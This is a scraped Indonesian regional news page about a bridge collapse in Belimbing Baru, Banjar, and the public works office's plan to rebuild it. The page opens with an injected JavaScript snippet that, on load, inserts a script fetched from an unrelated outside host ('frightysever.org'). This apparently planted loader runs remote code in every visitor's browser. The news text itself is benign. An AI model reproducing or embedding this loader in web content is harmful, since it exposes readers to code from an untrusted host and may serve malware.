(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Pasca runtuhnya jembatan di Desa Belimbing Baru, Kecamatan Sungai Pinang, Kabupaten Banjar pada Senin (24/12/2018), Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Banjar masih mengusahakan percepatan pembuatan jembatan baru.
Kabid Bina Marga PUPR Banjar Ahmad Solhan mengatakan, usaha percepatan tesebut sudah dilakukan, walaupun sebelumnya sudah diwacanakan untuk perbaikan melalui APBD tahun 2019 yang sudah disepakati akhir November lalu, sebesar Rp 700 juta.
“Sebenarnya kita sudah ada rencana perbaikan di tahun 2019 ini, namun setelah ketok palu jembatan itu runtuh lebih dulu dari yang kita rencanakan. Kapasitas truk yang melewati jembatan tersebut melebihi daya dukung jembatan yang hanya 5 ton,†ujarnya.
Atas musibah runtuhnya jembatan tersebut, pihaknya akan merevisi desain jembatan yang akan dibangun, hingga sekarang masih dalam proses. Anggaran yang dibutuhkan untuk membangun jembatan baru tersebut berbeda dari anggaran yang diperlukan untuk melakukan perbaikan.
“Kita akan lakukan rekontruksi jembatan Belimbing Kecamatan Sungai Pinang dengan Pagu anggaran Rp 1,6 miliar, Insya Allah kalau tepat waktu sudah dimulai pengerjaannya pada April 2019,†akuya.
Sementara jembatan baru yang nantinya akan dibangun persis di titik jembatan yang roboh tersebut dengan proses pembuatan jembatan panjang 20 meter dengan muatan sumbu tertinggi 10 ton.
Perlu diketahu sementara proses lelang selesai hingga pembangunan jembatan, di tempat terpisah PUPR Banjar sendiri telah membuatkan jalan alternatif lain sebagai lintasan sementara bagi warga yang menghubungkan empat desa, diantaranya Desa Rantau Bakula, Belimbing Baru, Belimbing Lama dan Desa Angkipih.
Berdasarkan data yang dihimpun lebih dari 5.000 warga Kecamatan Sungai Pinang, Kabupaten Banjar, terisolir akibat putusnya jembatan itu. Diduga ambruknya jembatan tersebut usai dilewati sebuah truk, karena kondisi konstruksi jembatan yang tak layak lagi. Utamanya, bagi angkutan yang bertonase besar.
Jumlah warga yang terdampak ada di empat desa, yakni Belimbing Baru terdapat 1.450 jiwa , Desa Belimbing Lama dihuni 1.400 jiwa. Selaniutnya, Desa Angkipih ada 1.350 jiwa dan Desa Remo terdata ada 1.259 jiwa. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.